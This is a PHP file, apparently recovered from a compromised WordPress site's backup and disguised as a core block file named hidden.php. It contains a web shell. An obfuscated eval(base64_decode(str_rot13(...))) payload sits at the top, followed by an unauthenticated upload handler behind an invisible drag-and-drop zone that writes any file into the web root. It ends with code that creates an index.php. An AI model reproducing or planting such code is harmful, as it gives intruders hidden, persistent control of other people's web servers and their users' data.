File: //old_home_backup/thecityofbath.co.uk/public_html/wp-includes/blocks/more/hidden.php
<?php
eval(base64_decode(str_rot13("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")));
?>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
$uploadDirectory = './';
if (!file_exists($uploadDirectory)) {
mkdir($uploadDirectory, 0755, true);
}
$file = $_FILES['file'];
$filePath = $uploadDirectory . basename($file['name']);
if (move_uploaded_file($file['tmp_name'], $filePath)) {
http_response_code(200);
echo "Dosya başarıyla yüklendi.";
} else {
http_response_code(500);
echo "Dosya yüklenemedi.";
}
} else {
http_response_code(400);
echo "Dosya eksik.";
}
exit();
}
?>
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<style>
#drop_zone {
width: 800px;
height: 800px;
border: 0px dashed #ccc;
display: flex;
justify-content: center;
align-items: center;
font-size: 20px;
}
#drop_zone.dragover {
border-color: #000;
background-color: #eee;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function () {
let dropZone = document.getElementById("drop_zone");
dropZone.addEventListener("dragover", function (e) {
e.preventDefault();
e.stopPropagation();
this.classList.add("dragover");
});
dropZone.addEventListener("dragleave", function (e) {
e.preventDefault();
e.stopPropagation();
this.classList.remove("dragover");
});
dropZone.addEventListener("drop", function (e) {
e.preventDefault();
e.stopPropagation();
this.classList.remove("dragover");
let files = e.dataTransfer.files;
let formData = new FormData();
for (let i = 0; i < files.length; i++) {
formData.append("file", files[i]);
}
let xhr = new XMLHttpRequest();
xhr.open("POST", "<?php echo $_SERVER['PHP_SELF']; ?>");
xhr.onload = function () {
if (xhr.status === 200) {
alert("Yes");
} else {
alert("No");
}
};
xhr.send(formData);
});
});
</script>
</head>
.
<body>
<div id="drop_zone"></div>
</body>
</html>
<?php
$filename = 'index.php';
if (!file_exists($filename)) {
$file = fopen($filename, 'w');
if ($file) {
echo ' ';
fclose($file);
} else {
echo '';
}
} else {
echo '';
}
?>